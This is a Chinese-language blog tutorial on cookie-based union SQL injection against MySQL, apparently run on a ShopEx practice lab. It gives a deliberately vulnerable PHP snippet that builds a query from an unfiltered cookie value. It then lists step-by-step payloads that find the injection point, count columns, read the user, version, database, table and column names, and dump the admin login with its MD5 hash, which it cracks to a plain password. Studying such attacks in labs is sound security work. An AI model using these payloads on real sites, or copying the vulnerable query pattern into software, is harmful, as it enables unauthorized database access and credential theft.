mysql cookie联合注入

mysql cookie联合注入

1. 前置知识

  • cookie简介
    • Cookie 是个存储在浏览器本地的一种文本文件,它主要是用来解决http协议的无状态问题。由网络服务器发送出来以存储在浏览器上,当那个网络服务器再次访问时,可从该浏览器读回此信息。
  • cookie注入的原理(这里以php代码讲解)
    • 如你所看,其实所谓的cookie注入,与GET和POST注入的原理在本质是一样的,只是服务器端接收payload代码的方式不一样而已,
      • cookie注入的话,服务器端是由 $_COOKIE 全局变量来接收cookie值(即:我们的payload代码)的。
      • GET注入的话,服务器端是由 $_GET 全局变量来接收cookie值(即:我们的payload代码)的。
      • POST注入的话,服务器端是由 $_POST 全局变量来接收cookie值(即:我们的payload代码)的。
    • cookie注入产生的条件:
      1. 没有对由 $_COOKIE 全局变量传递的参数做过滤。
      2. 由$_COOKIE全局变量传递的参数作为了sql语句中的一部分
    //$username=$_GET['user'];//接受GET传递的参数名x的值并赋值给变量id
    //$username=$_POST['user'];//接受POST传递的参数名x的值并赋值给变量id
    $username=$_COOKIE['user'];//接受cookie传递的参数名x的值并赋值给变量id
    $conn=mysql_connect('127.0.0.1','root','root');//连接数据库并赋值连接请求给变量conn 
    mysql_select_db("mydata",$conn);//选择连接请求conn下的数据库mydata
    $sql="select * from users where username='$username'";//接受的变量id组合sql语句
    $result=mysql_query($sql);//执行sql命令并返回结果给变量result 
    while($row=mysql_fetch_array($result)){//将结果进行显示
        echo"用户ID∶".$row['id']."<br>";
        echo"用户名∶".$row['username']."<br>";
        echo"密  码∶".$row['password']."<br>";
    }
        mysql_close($conn);//关闭数据库连接
        echo "当前执行的sq语句∶".$sql;//输出sql命令
    
  • 在下面的实战演示中,为了方便设置cookie的值,我使用了火狐的一个插件:cookie editor

2. 注入流程

  1. 判断注入点
  2. 判断当前注入点的字段数
  3. 确定显示位
  4. 查询当前登录用户
  5. 查询当前数据库版本信息
  6. 查询当前数据库名
  7. 查询存在多少表名
  8. 查询表名
  9. 查询字段数量
  10. 查询字段名
  11. 查询账号与密码

3. 注入演示

3.1 判断注入点

  • payload:
    CNY  --页面返回正常
    CNY" --页面返回出错
    
    • 说明存在注入点,且为字符型注入
      01_判断注入点

3.2 判断当前注入点的字段数

  • payload:
    CNY" order by 6 %23 --页面返回正常
    CNY" order by 7 %23 --页面返回失败
    
    • 说明当前注入点的字段数为 6
      02_确定显示位

3.3 确定显示位

  • payload:
    CNY" and 1=2 union select 1,2,3,4,5,6 %23
    
    • 3号位为显示位
      03_确定显示位

3.4 查询当前登录用户

  • payload:
    CNY" and 1=2 union select 1,2,user(),4,5,6 %23
    
    • 当前登录的用户和主机为: test@localhost
      04_查询当前登录用户

3.5 查询当前数据库版本信息

  • payload:
    CNY" and 1=2 union select 1,2,version(),4,5,6 %23
    
    • 当前数据库的版本信息为:5.0.51b-community-nt-log
      05_查询当前数据库版本信息

3.6 查询当前数据库名

  • payload:
    CNY" and 1=2 union select 1,2,database(),4,5,6 %23
    
    • 当前数据库名为:shopex
      
06_查询当前数据库名

3.7 查询存在多少表名

  • payload:
    CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.tables where table_schema='shopex' %23
    
    • 可当前数据库存在103张表!!!
      07_查询当前数据库所存在表的数量

3.8 查询表名

  • payload:
    CNY"and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='shopex' %23
    
    • 我们发现这里的表名并没有显示完全,我也不清楚这是怎么回事,按道理不应该这样,可能是靶场的问题吧。当然,如果实在是没办法的话,可以使用 limit 子句慢慢的筛选。。。
    • 这里我就直接说了,我们所需的表名为:sdb_operators
      08_查询表名

3.9 查询字段数量

  • payload:
    CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
    
    • sdb_operators表的字段数量为:15
      09_查询字段数量

3.10 查询字段名

  • payload:
    CNY"and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
    
    • 经分析可知,我们所需的字段名为:username,userpass
      10_查询字段名

3.11 查询账号与密码

  • payload:
    CNY"and 1=2 union select 1,2,username,4,5,6 from sdb_operators %23
    CNY"and 1=2 union select 1,2,userpass,4,5,6 from sdb_operators %23
    
    • 账号密码:admin/e10adc3949ba59abbe56e057f20f883e
    • 经MD5解密:admin/123456
      11_查询账号密码
posted @ 2022-01-22 21:30  浅易深  阅读(132)  评论(0编辑  收藏  举报